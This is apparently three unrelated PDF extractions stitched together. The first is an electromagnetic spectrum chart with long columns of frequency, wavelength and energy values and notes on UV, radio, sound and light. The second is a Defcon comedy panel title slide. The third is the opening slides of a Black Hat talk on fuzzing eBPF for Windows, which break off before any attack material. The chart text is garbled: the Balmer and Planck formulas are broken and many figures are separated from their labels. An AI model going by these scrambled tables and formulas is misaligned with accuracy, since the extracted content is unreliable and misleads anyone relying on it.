85
86
87
88
89
90
91
92
93
94
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
CP
CP
CP
Cell Phone
W
W
W
u
2GHz
Microwave S-band (Short)
Cordless phone
2.4GHz
Microwave Oven
2.45GHz
4GHz
Microwave C-band (Compromise)
W-LAN
Wireless LAN
ITFS
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
u
8GHz
Microwave X-band (X marks the spot)
u
12.5GHz
Microwave Ku-band (Kurtz Under)
u
18GHz
Microwave K-band (Kurtz)
Water absorption 22GHz
3G
3G
3G
u
27.25GHz
Microwave Ka-band (Kurtz Above)
u
36GHz
Microwave Q-band
u
46GHz
Microwave V-band
u
56GHz
Microwave W-band
O2 absorption 60GHz
u
100GHz
O2 absorption 118.75GHz
Water absorption 183GHz
u
100µm
3THz
Far Infrared
u
30µm
Thermal Infrared
u
3µm
Near Infrared
EDFA
EDFA
Datacom
Telecom
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
u
VISIBLE SPECTRUM
VISIBLE SPECTRUM
B
V
R
I
J
H
K
400nm
UV-A
UV-A1
UV-A2
340nm
320 315nm
UV-B
280nm
UV-C
EUV (Extreme Ultraviolet)
100nm
10nm
Soft XRay
1nm
Hard XRay
15.2 Gm
86.3 aeV
22.1 mHz
12.8 Gm
103 aeV
26.3 mHz
10.8 Gm
122 aeV
31.2 mHz
31.2 mHz
9.05 Gm
145 aeV
37.2 mHz
7.61 Gm
173 aeV
44.2 mHz
6.40 Gm
205 aeV
52.6 mHz
5.38 Gm
244 aeV
62.5 mHz
62.5 mHz
4.53 Gm
290 aeV
74.3 mHz
3.81 Gm
345 aeV
88.4 mHz
3.20 Gm
410 aeV
105 mHz
2.69 Gm
488 aeV
125 mHz
125 mHz
2.26 Gm
580 aeV
149 mHz
1.90 Gm
690 aeV
177 mHz
1.60 Gm
821 aeV
210 mHz
1.35 Gm
976 aeV
250 mHz
250 mHz
1.13 Gm
1.16 feV
297 mHz
952 Mm
1.38 feV
354 mHz
800 Mm
1.64 feV
420 mHz
673 Mm
1.95 feV
500 mHz
500 mHz
566 Mm
2.32 feV
595 mHz
476 Mm
2.76 feV
707 mHz
400 Mm
3.28 feV
841 mHz
337 Mm
3.90 feV
1.00 Hz
1.00 Hz
283 Mm
4.64 feV
1.19 Hz
238 Mm
5.52 feV
1.41 Hz
200 Mm
6.56 feV
1.68 Hz
168 Mm
7.81 feV
2.00 Hz
2.00 Hz
141 Mm
9.28 feV
2.38 Hz
119 Mm
11.0 feV
2.83 Hz
100 Mm
13.1 feV
3.36 Hz
84.1 Mm
15.6 feV
4.00 Hz
4.00 Hz
70.7 Mm
18.6 feV
4.76 Hz
59.5 Mm
22.1 feV
5.66 Hz
50.0 Mm
26.3 feV
6.73 Hz
42.1 Mm
31.2 feV
8.00 Hz
8.00 Hz
35.4 Mm
37.1 feV
9.51 Hz
29.7 Mm
44.2 feV
11.3 Hz
25.0 Mm
52.5 feV
13.5 Hz
21.0 Mm
62.5 feV
16.0 Hz
16.0 Hz
17.7 Mm
74.3 feV
19.0 Hz
14.9 Mm
88.3 feV
22.6 Hz
12.5 Mm
105 feV
26.9 Hz
10.5 Mm
125 feV
32.0 Hz
32.0 Hz
8.84 Mm
149 feV
38.1 Hz
7.44 Mm
177 feV
45.3 Hz
6.25 Mm
210 feV
53.8 Hz
5.26 Mm
250 feV
64.0 Hz
64.0 Hz
4.42 Mm
297 feV
76.1 Hz
3.72 Mm
353 feV
90.5 Hz
3.13 Mm
420 feV
108 Hz
2.63 Mm
500 feV
128 Hz
128 Hz
2.21 Mm
594 feV
152 Hz
1.86 Mm
707 feV
181 Hz
1.56 Mm
840 feV
215 Hz
1.31 Mm
999 feV
256 Hz
256 Hz
1.11 Mm
1.19 peV
304 Hz
929 km
1.41 peV
362 Hz
782 km
1.68 peV
431 Hz
657 km
2.00 peV
512 Hz
512 Hz
553 km
2.38 peV
609 Hz
465 km
2.83 peV
724 Hz
391 km
3.36 peV
861 Hz
329 km
4.00 peV
1.02 kHz
1.02 kHz
276 km
4.75 peV
1.22 kHz
232 km
5.65 peV
1.45 kHz
195 km
6.72 peV
1.72 kHz
164 km
7.99 peV
2.05 kHz
2.05 kHz
138 km
9.51 peV
2.44 kHz
116 km
11.3 peV
2.90 kHz
97.7 km
13.4 peV
3.44 kHz
82.2 km
16.0 peV
4.10 kHz
4.10 kHz
69.1 km
19.0 peV
4.87 kHz
58.1 km
22.6 peV
5.79 kHz
48.8 km
26.9 peV
6.89 kHz
41.1 km
32.0 peV
8.19 kHz
8.19 kHz
34.5 km
38.0 peV
9.74 kHz
29.0 km
45.2 peV
11.6 kHz
24.4 km
53.8 peV
13.8 kHz
20.5 km
64.0 peV
16.4 kHz
16.4 kHz
17.3 km
76.1 peV
19.5 kHz
14.5 km
90.4 peV
23.2 kHz
12.2 km
108 peV
27.6 kHz
10.3 km
128 peV
32.8 kHz
32.8 kHz
8.64 km
152 peV
39.0 kHz
7.26 km
181 peV
46.3 kHz
6.11 km
215 peV
55.1 kHz
5.13 km
256 peV
65.5 kHz
65.5 kHz
4.32 km
304 peV
77.9 kHz
3.63 km
362 peV
92.7 kHz
3.05 km
430 peV
110 kHz
2.57 km
512 peV
131 kHz
131 kHz
2.16 km
608 peV
156 kHz
1.82 km
724 peV
185 kHz
1.53 km
860 peV
220 kHz
1.28 km
1.02 neV
262 kHz
262 kHz
1.08 km
1.22 neV
312 kHz
908 m
1.45 neV
371 kHz
763 m
1.72 neV
441 kHz
642 m
2.05 neV
524 kHz
524 kHz
540 m
2.43 neV
623 kHz
454 m
2.89 neV
741 kHz
382 m
3.44 neV
882 kHz
321 m
4.09 neV
1.05 MHz
1.05 MHz
270 m
4.87 neV
1.25 MHz
227 m
5.79 neV
1.48 MHz
191 m
6.88 neV
1.76 MHz
160 m
8.19 neV
2.10 MHz
2.10 MHz
135 m
9.74 neV
2.49 MHz
113 m
11.6 neV
2.97 MHz
95.4 m
13.8 neV
3.53 MHz
80.2 m
16.4 neV
4.19 MHz
4.19 MHz
67.5 m
19.5 neV
4.99 MHz
56.7 m
23.2 neV
5.93 MHz
47.7 m
27.5 neV
7.05 MHz
40.1 m
32.7 neV
8.39 MHz
8.39 MHz
33.7 m
38.9 neV
9.98 MHz
28.4 m
46.3 neV
11.9 MHz
23.9 m
55.1 neV
14.1 MHz
20.1 m
65.5 neV
16.8 MHz
16.8 MHz
16.9 m
77.9 neV
20.0 MHz
14.2 m
92.6 neV
23.7 MHz
11.9 m
110 neV
28.2 MHz
10.0 m
131 neV
33.6 MHz
33.6 MHz
8.43 m
156 neV
39.9 MHz
7.09 m
185 neV
47.5 MHz
5.96 m
220 neV
56.4 MHz
5.01 m
262 neV
67.1 MHz
67.1 MHz
4.22 m
312 neV
79.8 MHz
3.55 m
370 neV
94.9 MHz
2.98 m
441 neV
113 MHz
2.51 m
524 neV
134 MHz
134 MHz
2.11 m
623 neV
160 MHz
1.77 m
741 neV
190 MHz
1.49 m
881 neV
226 MHz
1.25 m
1.05 µeV
268 MHz
268 MHz
1.05 m
1.25 µeV
319 MHz
886 mm
1.48 µeV
380 MHz
745 mm
1.76 µeV
451 MHz
627 mm
2.10 µeV
537 MHz
537 MHz
527 mm
2.49 µeV
638 MHz
443 mm
2.96 µeV
759 MHz
373 mm
3.52 µeV
903 MHz
313 mm
4.19 µeV
1.07 GHz
1.07 GHz
264 mm
4.98 µeV
1.28 GHz
222 mm
5.93 µeV
1.52 GHz
186 mm
7.05 µeV
1.81 GHz
157 mm
8.38 µeV
2.15 GHz
2.15 GHz
132 mm
9.97 µeV
2.55 GHz
111 mm
11.9 µeV
3.04 GHz
93.2 mm
14.1 µeV
3.61 GHz
78.3 mm
16.8 µeV
4.29 GHz
4.29 GHz
65.9 mm
19.9 µeV
5.11 GHz
55.4 mm
23.7 µeV
6.07 GHz
46.6 mm
28.2 µeV
7.22 GHz
39.2 mm
33.5 µeV
8.59 GHz
8.59 GHz
32.9 mm
39.9 µeV
10.2 GHz
27.7 mm
47.4 µeV
12.1 GHz
23.3 mm
56.4 µeV
14.4 GHz
19.6 mm
67.1 µeV
17.2 GHz
17.2 GHz
16.5 mm
79.8 µeV
20.4 GHz
13.9 mm
94.8 µeV
24.3 GHz
11.6 mm
113 µeV
28.9 GHz
9.79 mm
134 µeV
34.4 GHz
34.4 GHz
8.24 mm
160 µeV
40.9 GHz
6.93 mm
190 µeV
48.6 GHz
5.82 mm
226 µeV
57.8 GHz
4.90 mm
268 µeV
68.7 GHz
68.7 GHz
4.12 mm
319 µeV
81.7 GHz
3.46 mm
379 µeV
97.2 GHz
2.91 mm
451 µeV
116 GHz
2.45 mm
536 µeV
137 GHz
137 GHz
2.06 mm
638 µeV
163 GHz
1.73 mm
759 µeV
194 GHz
1.46 mm
902 µeV
231 GHz
1.22 mm
1.07 meV
275 GHz
275 GHz
1.03 mm
1.28 meV
327 GHz
866 µm
1.52 meV
389 GHz
728 µm
1.80 meV
462 GHz
612 µm
2.15 meV
550 GHz
550 GHz
515 µm
2.55 meV
654 GHz
433 µm
3.03 meV
777 GHz
364 µm
3.61 meV
925 GHz
306 µm
4.29 meV
1.10 THz
1.10 THz
257 µm
5.10 meV
1.31 THz
216 µm
6.07 meV
1.55 THz
182 µm
7.22 meV
1.85 THz
153 µm
8.58 meV
2.20 THz
2.20 THz
129 µm
10.2 meV
2.62 THz
108 µm
12.1 meV
3.11 THz
91.0 µm
14.4 meV
3.70 THz
76.5 µm
17.2 meV
4.40 THz
4.40 THz
64.3 µm
20.4 meV
5.23 THz
54.1 µm
24.3 meV
6.22 THz
45.5 µm
28.9 meV
7.40 THz
38.3 µm
34.3 meV
8.80 THz
8.80 THz
32.2 µm
40.8 meV
10.5 THz
27.1 µm
48.6 meV
12.4 THz
22.7 µm
57.7 meV
14.8 THz
19.1 µm
68.7 meV
17.6 THz
17.6 THz
16.1 µm
81.7 meV
20.9 THz
13.5 µm
97.1 meV
24.9 THz
11.4 µm
115 meV
29.6 THz
9.56 µm
137 meV
35.2 THz
35.2 THz
8.04 µm
163 meV
41.8 THz
6.76 µm
194 meV
49.8 THz
5.69 µm
231 meV
59.2 THz
4.78 µm
275 meV
70.4 THz
70.4 THz
4.02 µm
327 meV
83.7 THz
3.38 µm
388 meV
99.5 THz
2.84 µm
462 meV
118 THz
2.39 µm
549 meV
141 THz
141 THz
2.01 µm
653 meV
167 THz
1.69 µm
777 meV
199 THz
1.42 µm
924 meV
237 THz
1.20 µm
1.10 eV
281 THz
281 THz
1.01 µm
1.31 eV
335 THz
845 nm
1.55 eV
398 THz
711 nm
1.85 eV
473 THz
598 nm
2.20 eV
563 THz
563 THz
503 nm
2.61 eV
669 THz
423 nm
3.11 eV
796 THz
355 nm
3.70 eV
947 THz
299 nm
4.39 eV
1.13 PHz
1.13 PHz
251 nm
5.23 eV
1.34 PHz
211 nm
6.22 eV
1.59 PHz
178 nm
7.39 eV
1.89 PHz
149 nm
8.79 eV
2.25 PHz
2.25 PHz
126 nm
10.5 eV
2.68 PHz
106 nm
12.4 eV
3.18 PHz
88.9 nm
14.8 eV
3.79 PHz
74.7 nm
17.6 eV
4.50 PHz
4.50 PHz
62.8 nm
20.9 eV
5.36 PHz
52.8 nm
24.9 eV
6.37 PHz
44.4 nm
29.6 eV
7.57 PHz
37.4 nm
35.2 eV
9.01 PHz
9.01 PHz
31.4 nm
41.8 eV
10.7 PHz
26.4 nm
49.7 eV
12.7 PHz
22.2 nm
59.1 eV
15.1 PHz
18.7 nm
70.3 eV
18.0 PHz
18.0 PHz
15.7 nm
83.6 eV
21.4 PHz
13.2 nm
99.4 eV
25.5 PHz
11.1 nm
118 eV
30.3 PHz
9.34 nm
141 eV
36.0 PHz
36.0 PHz
7.85 nm
167 eV
42.8 PHz
6.60 nm
199 eV
51.0 PHz
5.55 nm
237 eV
60.6 PHz
4.67 nm
281 eV
72.1 PHz
72.1 PHz
3.93 nm
335 eV
85.7 PHz
3.30 nm
398 eV
102 PHz
2.78 nm
473 eV
121 PHz
2.33 nm
563 eV
144 PHz
144 PHz
1.96 nm
669 eV
171 PHz
1.65 nm
796 eV
204 PHz
1.39 nm
946 eV
242 PHz
1.17 nm
1.13 keV
288 PHz
288 PHz
982 pm
1.34 keV
343 PHz
826 pm
1.59 keV
408 PHz
694 pm
1.89 keV
485 PHz
584 pm
2.25 keV
576 PHz
576 PHz
491 pm
2.68 keV
686 PHz
413 pm
3.18 keV
815 PHz
347 pm
3.78 keV
969 PHz
292 pm
4.50 keV
1.15 EHz
1.15 EHz
245 pm
5.35 keV
1.37 EHz
206 pm
6.36 keV
1.63 EHz
174 pm
7.57 keV
1.94 EHz
146 pm
9.00 keV
2.31 EHz
2.31 EHz
123 pm
10.7 keV
2.74 EHz
103 pm
12.7 keV
3.26 EHz
86.8 pm
15.1 keV
3.88 EHz
73.0 pm
18.0 keV
4.61 EHz
4.61 EHz
61.4 pm
21.4 keV
5.48 EHz
51.6 pm
25.5 keV
6.52 EHz
43.4 pm
30.3 keV
7.76 EHz
36.5 pm
36.0 keV
9.22 EHz
0.1nm
Gamma Ray
∞eV
1
∞ m
∞Hz
1
∞ eV
∞m
1
∞ Hz
13.6kHz
14.7kHz
15.5kHz
17.8kHz
18.6kHz
21.4kHz
22.3kHz
b
b
bbbb
bbbb
bbb
bbbbbb
bb
bbb
bb
bb
b
bbbb
b
24kHz
30.0kHz
40.75kHz
76Hz
GPS
L1
GPS
L2
GPS
L5
Cs-133 9,192,631,770Hz SI-time standard
ULF Ultra Low Frequency
3Hz
ELF Extremely Low Frequency
30Hz
VLF Very Low Frequency
3kHz
LF Low Frequency
30kHz
MF Medium Frequency
300kHz
HF High Frequency
3MHz
VHF Very High Frequency
30MHz
UHF Ultra High Frequency
300MHz
SHF Super High Frequency
3GHz
EHF Extremely High Frequency
30GHz
300GHz
Microwave mm-band
Microwave µmm-band
3THz
400
300
200nm
100nm
10nm
NUV
MUV
FUV
EUV
VUV
Long Wave radio
Short Wave radio
Ultrasonic
Human Audible range
Subsonic - Infrasound
Heartbeats
Ocean Waves
Mechanical
Waves
One Cycle
Per Second
Ionizing radiation : Harmful to living tissue.
T=2.725K
CMB
65 GHz
600 GHz
400 MJy/sr
0 MJy/sr
Intensity
Cosmic Microwave Background Radiation
• CMB radiation is the leftover heat from the hot early universe,
which last scattered about 400,000 years after the Big Bang.
• CMB permeates the entire universe at a temperature of 2.725
± 0.001K.
• CMB was predicted in the 1940’s by Ralph Alpher, George
Gamow and Robert Herman.
• Arno Penzias and Robert Wilson accidentally discovered CMB
while working for Bell Telephone Laboratories in 1965.
• The intensity is measured in Mega Jansky (Jy) per steradian.
1Jy = 10−26W/m2/Hz
Close examination of slight CMB intensity
variations in different parts of the sky help
cosmologists study the formation of galaxies.
WMAP photo by NASA
The Electromagnetic Radiation Spectrum
How to read this chart
• This chart is organized in octaves (frequency doubling/halving) starting at 1Hz and
going higher (2,4,8, etc) and lower (1/2, 1/4, etc). The octave is a natural way to
represent frequency.
• Frequency increases on the vertical scale in the upward direction.
• The horizontal bars wrap around from far right to far left as the frequency increases
upwards.
• There is no limit to either end of this chart, however, due to limited space, only the
“known” items have been shown here. A frequency of 0Hz is the lowest possible
frequency but the method of depicting octaves used here does not allow for ever
reaching 0Hz, only approaching it. Also, by the definition of frequency (Cycles per
second), there is no such thing as negative frequency.
• Values on the chart have been labelled with the following colours: Frequency meas-
ured in Hertz, Wavelength measured in meters, Energy measured in electronVolts.
Ultraviolet Light
• Ultraviolet light is beyond the range of human vision.
• Physicists have divided ultraviolet light ranges into Vacuum Ultraviolet (VUV), Ex-
treme Ultraviolet (EUV), Far Ultraviolet (FUV), Medium Ultraviolet (MUV), and
Near Ultraviolet (NUV).
• UV-A, UV-B and UV-C were introduced in the 1930’s by the Commission Interna-
tionale de l’´Eclairage (CIE, International Commission on Illumination) for photobio-
logical spectral bands.
• Short-term UV-A exposure causes sun-tanning which helps to protect against sun-
burn. Exposure to UV-B is beneficial to humans by helping the skin produce vitamin
D. Excessive UV exposure causes skin damage. UV-C is harmful to humans but is
used as a germicide.
• The CIE originally divided UVA and UVB at 315nm, later some photo-dermatologists
divided it at 320nm.
• UVA is subdivided into UVA1 and UVA2 for DNA altering effects at 340nm.
• The sun produces a wide range of frequencies including all the ultraviolet light,
however, UVB is partially filtered by the ozone layer and UVC is totally filtered out
by the earth’s atmosphere.
• A bumblebee can see light in the UVA range which helps them identify certain
flowers.
Emission and Absorption
• As EMR passes through elements, certain wavelength bands get absorbed and some
new ones get emitted. This absorption and emission produces characteristic spectral
lines for each element which are useful in determining the makeup of distant stars.
These lines are used to prove the red-shift amount of distant stars.
• When a photon hits an atom it may be absorbed if the energy is just right. The
energy level of the electron is raised – essentially holding the radiation. A new photon
of specific wavelength is created when the energy is released. The jump in energy is
a discrete step and many possible levels of energy exist in an atom.
• Johann Balmer created this formula defining the photon emission wavelength (λ);
where m is the initial electron energy level and n is the final electron energy level:
λ = 364.56nm
m2
m2 − n2
• Much of the interstellar matter is made of the simplest atom hydrogen. The hydrogen
visible-spectrum emission and absorption lines are shown below:
Hα
Hβ
Hγ
HδHǫ
Hζ
Hη
Hθ
Emission line
Absorption line
Balmer series name
Power
Wavelength
White Hot
Red Hot
Hot
CMB
• Max Planck determined the relationship between
the temperature of an object and its radiation pro-
file; where Rλ is the radiation power, λ is the
wavelength, T is the temperature:
Rλ =
37418
λ5ǫ
14388
λT
− 1
Television
• Television is transmitted in the VHF and UHF ranges (30MHz - 3GHz).
• TV channels transmitted over the air are shown as TV .
• TV channels transmitted through cable (CATV) are shown as TV . CATV channels
starting with “T-” are channels fed back to the cable TV station (like news feeds).
• Air and cable TV stations are broadcast with the separate video, colour, and audio
frequency carriers grouped together in a channel band as follows:
6MHz
u
u
u
1.25MHz
3.58MHz
4.5MHz
Video
Colour
Audio
• Satellite channels broadcast in the C-Band are depicted as TV . These stations are
broadcast in alternating polarities (Ex. Ch 1 is vertical and 2 is horizontal and vice
versa on neighbouring satellites).
• The 15.7 kHz horizontal sweep signal produced by a TV can be heard by some young
people. This common contaminant signal to VLF spectra listening is depicted as
.
Radio Bands
• The radio spectrum (ELF to EHF) is populated by many more items than can be
shown on this chart, only a small sampling of bands used around the world have
been shown.
• Communication using EMR is done using either:
– Amplitude Modulation (AM)
OR
– Frequency Modulation (FM)
• Each country has its own rules and regulations for allotting bands in this region.
For more information, look up the radio communications authority in your area (Ex.
FCC in the US, DOC in Canada).
• Not all references agree on the ULF band range, the HAARP range is used here.
• RAdio Detecting And Ranging (RADAR) uses EMR in the microwave range to detect
the distance and speed of objects.
• Citizens Band Radio (CB) contains 40 stations between 26.965-27.405MHz.
• Schumann resonance is produced in the cavity between the Earth and the ionosphere.
The resonant peaks are depicted as S
• Hydrogen gas emits radio band EMR at 21cm H
• Some individual frequencies are represented as icons:
xxHz
Submarine communications
Time and frequency standards
xxm
Ham radio and international meter bands
Miscellaneous short wave radio
W
Weather stations
CP
Cellular and PCS Phones (including; FDMA, TDMA, CDMA ranges)
Sound
• Although sound, ocean waves, and heartbeats are not electromag-
netic, they are included on this chart as a frequency reference. Other
properties of electromagnetic waves are different from sound waves.
• Sound waves are caused by an oscillating compression of molecules.
Sound cannot travel in a vacuum such as outer space.
• The speed of sound in air at sea level is 1240kph (770mph).
• Humans can only hear sound between ≈20Hz to ≈20kHz.
• Infrasound (below 20Hz) can be sensed by internal organs and touch.
Frequencies in the 0.2Hz range are often the cause of motion sickness.
• Bats can hear sound up to ≈50kHz.
• The 88 piano keys of the Equal Temperament scale are accurately
located on the frequency chart.
• Over the ages people have striven to divide the continuous audio fre-
quency spectrum into individual musical notes that have harmonious
relationships. Microtonal musicians study various scales. One recent
count lists 4700 different musical scales.
• The musical note A is depicted on the chart as
A
This image depicts air
being compressed as
sound waves in a tube
from
a
speaker
and
then travelling through
the tube towards the
ear.
Gravity Waves
• Gravity is the mysterious force that holds large objects together and
binds our planets, stars, and galaxies together. Many people have
unsuccessfully theorized about the details of gravity and its relation-
ship to other forces. There have been no links between gravity waves
and electromagnetic radiation.
• Gravity is theorized to warp space and time. In fact, gravity is re-
sponsible for bending light as observed by the gravity-lens example of
distant galaxies.
• “Gravity waves” would appear as ripples in space-time formed by large
objects moving through space that might possibly be detected in the
future by very sensitive instruments.
• The speed that gravity propagates through space has been theorized
to be the same as the speed of light.
Brain Waves
• By connecting electrodes from the human head to an electroen-
cephalograph (EEG), it is possible to measure very small cyclic elec-
trical signals.
• There has been much study on this topic, but like all effects on
humans, the findings are not as sound as the science of materials.
• Generally, lower brain wave frequencies relate to sleep, and the higher
frequencies relate to alertness.
• Devices have been made for measuring and stimulating brain waves
to achieve a desired state.
Electromagnetic Radiation (EMR)
• EMR is emitted in discrete units called photons but has properties
of waves as seen by the images below. EMR can be created by the
oscillation or acceleration of electrical charge or magnetic field. EMR
travels through space at the speed of light (2.997 924 58 ×108 m/s).
EMR consists of an oscillating electrical and magnetic field which are
at right angles to each other and spaced at a particular wavelength.
There is some controversy about the phase relationship between the
electrical and magnetic fields of EMR, one of the theoretical repre-
sentations is shown here:
+E
-E
+B
-B
Source
Space
E = Electric Field Strength
B = Magnetic Field Strength
Wave Nature
Source
Space
Particle Nature
• The particle nature of EMR is exhibited when a solar cell emits indi-
vidual electrons when struck with very dim light.
• The wave nature of EMR is demonstrated by the famous double slit
experiment that shows cancelling and addition of waves.
• Much of the EMR properties are based on theories since we can only
see the effects of EMR and not the actual photon or wave itself.
• Albert Einstein theorized that the speed of light is the fastest that
anything can travel. So far he has not been proven wrong.
• EMR can have its wavelength changed if the source is receding or
approaching as in the red-shift example of distant galaxies and stars
that are moving away from us at very high speeds.
The emitted
spectral light from these receding bodies appears more red than it
would be if the object was not moving away from us.
• We only have full electronic control over frequencies in the microwave
range and lower. Higher frequencies must be created by waiting for
the energy to be released from elements as photons. We can either
pump energy into the elements (ex. heating a rock with visible EMR
and letting it release infrared EMR) or let it naturally escape (ex.
uranium decay).
• We can only see the visible spectrum. All other bands of the spectrum
are depicted as hatched colours
.
Syst`eme International d’unit´e prefixes (SI unit prefixes)
Symbol
Name
Exp.
Multiplier
Y
yotta
1024
1,000,000,000,000,000,000,000,000
Z
zetta
1021
1,000,000,000,000,000,000,000
E
exa
1018
1,000,000,000,000,000,000
P
peta
1015
1,000,000,000,000,000
T
tera
1012
1,000,000,000,000
G
giga
109
1,000,000,000
M
mega
106
1,000,000
k
kilo
103
1,000
100
1
m
milli
10−3
0.001
µ
micro
10−6
0.000 001
n
nano
10−9
0.000 000 001
p
pico
10−12
0.000 000 000 001
f
femto
10−15
0.000 000 000 000 001
a
atto
10−18
0.000 000 000 000 000 001
z
zepto
10−21
0.000 000 000 000 000 000 001
y
yocto
10−24
0.000 000 000 000 000 000 000 001
Measurements on this chart
Symbol
Name
Value
c
Speed of Light
2.997 924 58 ×108 m/s
h
Planck’s Constant
6.626 1 ×10−34 J · s
¯h
Planck’s Constant (freq)
1.054 592 ×10−34 J · s
f
Frequency (cycles / second)
Hz
λ
Wavelength (meters)
m
E
Energy (Joules)
J
Conversions
E = h · f
λ = c
f
1˚A = 0.1nm
1nm = 10˚A
1Joule = 6.24 ×1018 eV
Gamma Rays
• Gamma radiation is the highest energy radiation (up to ≈ 1020 eV)
that has been measured. At this energy, the radiation could be from
gamma-rays, protons, electrons, or something else.
• Alpha, beta, and delta radiation are not electromagnetic but are ac-
tually parts of the atom being released from a radioactive element.
In some cases this can cause gamma radiation. These are not to be
confused with brain waves of similar names.
Visible Spectrum
• The range of EMR visible to humans is called “Light”. The visible
spectrum also closely resembles the range of EMR that filters through
our atmosphere from the sun.
• Other creatures see different ranges of visible light; for example
bumble-bees can see ultraviolet light and dogs have a different re-
sponse to colours than do humans.
• The sky is blue because our atmosphere scatters light and the shorter
wavelength blue gets scattered the most. It appears that the entire
sky is illuminated by a blue light but in fact that light is scattered from
the sun. The longer wavelengths like red and orange move straight
through the atmosphere which makes the sun look like a bright white
ball containing all the colours of the visible spectrum.
• Interestingly, the visible spectrum covers approximately one octave.
• Astronomers use filters to capture specific wavelengths and reject
unwanted wavelengths. The major astronomical (visual) filter bands
are depicted as
X
Infrared Radiation
• Infrared radiation (IR) is sensed by humans as heat and is below the
range of human vision. Humans (and anything at room temperature)
are emitters of IR.
• IR remote control signals are invisible to the human eye but can be
detected by most camcorders.
• Night vision scopes/goggles use a special camera that senses IR and
converts the image to visible light. Some IR cameras employ an IR
lamp to help illuminate the view.
• IR LASERs are used for burning objects.
• A demonstration of IR is to hold a metal bowl in front of your face.
The IR emitted by your body will be reflected back using the parabolic
shape of the bowl and you will feel the heat.
• Fiber-optic based infrared communication signals are sometimes am-
plified with Erbium-Doped Fiber Amplifiers EDFA
LASER
• LASER is an acronym for Light Amplification by Stimulated Emission
of Radiation.
• A LASER is a device that produces monochromatic EMR of high
intensity.
• With proper equipment, any EMR can be made to operate like a
LASER. For example, microwaves are used to create a MASER.
Polarization
• As a photon (light particle) travels through space, its axis of electrical
and magnetic fluctuations does not rotate. Therefore, each photon
has a fixed linear polarity of somewhere between 0◦ to 360◦. Light
can also be circularly and elliptically polarized.
• Some crystals can cause the photon to rotate its polarization.
• Receivers that expect polarized photons will not accept photons that
are in other polarities. (ex. satellite dish receivers have horizontal and
vertical polarity positions).
• A polarized filter (like PolaroidTM sunglasses) can be used to demon-
strate polarized light. One filter will only let photons that have one
polarity through. Two overlapping filters at right angles will almost
completely block the light that exits; however, a third filter inserted
between the first two at a 45◦ angle will rotate the polarized light
and allow some light to come out the end of all three filters.
• Light that reflects off an electrical insulator becomes polarized. Con-
ductive reflectors do not polarize light.
• Perhaps the most reliably polarized light is a rainbow.
• Moonlight is also slightly polarized. You can test this by viewing the
moonlight through a PolaroidTMsunglass lens, then rotate that lens,
the moonlight will dim and brighten slightly.
Refraction
• Refraction of EMR is dependent on wavelength as can be seen by the
prism example below.
By using a glass prism, white light
can be spread by refraction into a
spectrum of its composite colours.
All wavelengths of EMR can be re-
fracted by using the proper ma-
terials.
Not all glass prisms be-
have alike; a right-angle prism will
act as a mirror instead of a light
refractor. The critical angle of a
true light-refracting prism is 42◦.
Source
Focal point
Convex lenses make objects ap-
pear closer and are used to correct
far-sightedness.
Source
Concave lenses make objects ap-
pear farther away and are used to
correct near-sightedness.
Photo by STScI
Heavy objects like dense galaxies
and large planets cause light to
bend due to gravitational lensing.
Reflection
• Reflection of EMR is dependent on wavelength as demonstrated when
visible light and radio waves bounce off objects that X-Rays would
pass through. Microwaves, which have a large wavelength compared
to visible light, will bounce off metal mesh in a microwave oven
whereas visible light will pass through.
Source
θi
θr
Reflector
EMR of any wavelength can be re-
flected, however, the reflectivity of
a material depends on many fac-
tors including the wavelength of
the incident beam.
The angle of incidence (θi) and
angle of reflection (θr) are the
same.
c⃝
unihedron.com
2006-2-22 | pdf |
Defcon Comedy Jam 2
The FAIL Strikes Back
We are:
David Mortman aka Arthur
Rich Mogull aka Crash
Chris Hoff aka FAIL
Robert "RSnake" Hansen aka RSnake
Larry Pesce aka HaxorTheMatrix
David Maynor aka Goat? What Goat? | pdf |
#BHUSA @BlackHatEvents
eBPF ELFs JMPing Through the
Windows
Richard Johnson
Trellix
#BHUSA @BlackHatEvents
Information Classification: General
Whoami
Richard Johnson
Senior Principal Security Researcher, Trellix
Vulnerability Research & Reverse Engineering
Owner, Fuzzing IO
Advanced Fuzzing and Crash Analysis Training
Contact
[email protected]
@richinseattle
Shout out to the Trellix Interns!
Kasimir Schulz
Andrea Fioraldi
@abraxus7331
@andreafioraldi
#BHUSA @BlackHatEvents
Information Classification: General
Outline
➢ Origins and Applications of eBPF
➢ Architecture and Design of eBPF for Windows
➢ Attack Surface of APIs and Interfaces
➢ Fuzzing Methodology and Results
➢ Concluding Thoughts
#BHUSA @BlackHatEvents
Information Classification: General
What is eBPF
eBPF is a virtual CPU architecture and VM aka “Berkley Packet Filter” extended to a more
general purpose execution engine as an alternative to native kernel modules
eBPF programs are compiled from C into the virtual CPU instructions via LLVM and can
run in emulated or JIT execution modes and includes a static verifier as part of the loader
Execution is sandboxed and highly restricted in what memory it can access and how many
instructions each eBPF program may contain
eBPF is designed for high speed inspection and
modification of network packets and program execution
#BHUSA @BlackHatEvents
Information Classification: General
Origins of eBPF
Berkeley Packet Filter technology was developed in 1992 as a way to filter network packets
BPF was reimplemented for most Unix style operating systems and also ported to userland
Most users have interacted with BPF via tcpdump, wireshark, winpcap, or npcap
Using tcpdump and supplying a filter string like “dst host 10.10.10.10 and (tcp port 80 or tcp
port 443)” automatically compiles into a BPF filter for high performance.
We now call this older BPF interface cBPF or Classic BPF
#BHUSA @BlackHatEvents
Information Classification: General
Origins of eBPF
In December 2014, Linux kernel 3.18
was released with the addition of the
bpf() system call which implements the
eBPF API
eBPF extends BPF instructions to 64bit
and adds the concept of BPF Maps
which are arrays of persistent data
structures that can be shared between
eBPF programs and userspace
daemons
#BHUSA @BlackHatEvents
Information Classification: General
Origins of eBPF
eBPF extended the original BPF
concept to allow users to write general
purpose programs and call out to kernel
provided APIs
Each eBPF program is a single
function, but they may tail call into
others
All eBPF programs must pass a static
verifier that ensures safe execution
within the VM
#BHUSA @BlackHatEvents
Information Classification: General
Applications of eBPF
#BHUSA @BlackHatEvents
Information Classification: General
Linux eBPF Applications
More projects on https://ebpf.io/projects
#BHUSA @BlackHatEvents
Information Classification: General
Prior eBPF Research
